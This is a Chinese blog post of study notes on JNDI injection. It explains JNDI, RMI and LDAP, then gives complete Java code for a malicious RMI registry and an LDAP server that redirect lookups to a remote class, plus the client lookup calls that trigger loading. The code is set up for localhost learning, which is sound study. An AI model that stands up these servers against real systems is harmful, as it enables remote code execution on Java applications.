首页 > 其他分享 >JNDI注入

JNDI注入

时间:2023-02-04 22:23:31浏览次数:38  
标签:String ldap unboundid JNDI new import com 注入

前言

该篇目的在于简单记录一下学习JNDI注入中的一些笔记,未提到的一些还没深入学习,之后搞明白了会继续补充!

JNDI简介

官方解释:JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

总结成一句话就是:JNDI是命名和服务接口

JNDI 架构上如上图:

  • Naming Service:即命名服务,类似于哈希表的K/V对,通过名称去获取对应的服务
  • SPI(Service Provider Interface):即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。

JDK 中包含了下述内置的命名目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用
  • LDAP: 轻量级目录访问协议
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services)
  • DNS(域名转换协议)

JNDI利用方式

JNDI Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用。比如远程获取 RMI 服务上的对象是 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载class文件来进行实例化。

// className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
// factory为工厂类名
// factoryLocation为工厂类加载的地址,可以是file://、ftp://、http:// 等协议
Reference(String className,  String factory, String factoryLocation) 

在RMI中,由于我们远程加载的对象需要继承UnicastRemoteObject类,所以这里我们需要使用ReferenceWrapper类对Reference类或其子类对象进行远程包装成Remote类使其能够被远程访问。

下面看下实例就好理解了!

RMI的利用

RMI服务端

package com.ggbond.Jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;


import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(2333);

        Reference reference = new Reference("Calc", "Evil", "http://127.0.0.1/");

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        registry.bind("Calc", referenceWrapper);

    }
}

RMI客户端(被攻击端)

package com.ggbond.Jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMICilent {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://127.0.0.1:2333/Calc");
    }
}

远程加载的类:

这个没什么特殊要求,因为会通过ReferenceWrapper进行包装,这里我是懒得再编译一个类,使用的是TemplatesImpl利用过的类

LDAP利用

这个利用起来代码比较多,需要启一个LDAP服务

LDAP服务端

package com.ggbond.Jndi;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1/#Evil", "2333"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(LDAPServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        /**
         *
         */
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

LDAP客户端

package com.ggbond.Jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://127.0.0.1:2333/Evil");
    }
}

标签:String,ldap,unboundid,JNDI,new,import,com,注入
From: https://www.cnblogs.com/seizer/p/17092526.html

相关文章

  • SQL注入- 堆叠注入
    SQL注入-堆叠注入1.堆叠查询注入​ stackedinjections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mys......
  • SQL注入
    SQL注入简单Sqli-labs/Less-2演示信息收集我们使用ubantu搭建Sqli-labs靶场安装:参考博客https://blog.csdn.net/han123456o/article/details/107822333确定注入源:......
  • SQL注入-SQLmap-不同数据库注入
    SQL注入-不同数据库注入-注入工具的使用简要学习各种数据库的注入特点access,mysql,mssql,mongoDB,postgresql,sqlite,oracle,sybase等1.access注入Access数据库......
  • SQL注入-waf绕过
    SQL注入-waf绕过网络资源https://www.cnblogs.com/cute-puli/p/11146625.htmlhttps://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filte......
  • SQL注入-跨站注入
    SQL注入-跨站注入-主机文件读写1.information_schemainformation_schema数据库跟performance_schema一样,都是MySQL自带的信息数据库。其中performance_schema用......
  • SQL注入-盲注
    SQL注入-盲注​ 当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时......
  • SQL注入-二次注入
    SQL注入-二次注入-dnslog注入二次注入二次注入一般是用于白盒测试、黑盒测试就算是找到注入也没办法攻击。使用sqlilabs-less24-post登陆框&二次注入演示在原来数据库......
  • SQL注入-二次注入
    SQL注入-二次注入-dnslog注入二次注入二次注入一般是用于白盒测试、黑盒测试就算是找到注入也没办法攻击。使用sqlilabs-less24-post登陆框&二次注入演示在原来数据库......
  • SQL注入-waf绕过
    SQL注入-waf绕过网络资源https://www.cnblogs.com/cute-puli/p/11146625.htmlhttps://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filte......
  • SQL注入-SQLmap-不同数据库注入
    SQL注入-不同数据库注入-注入工具的使用简要学习各种数据库的注入特点access,mysql,mssql,mongoDB,postgresql,sqlite,oracle,sybase等1.access注入Access数据库......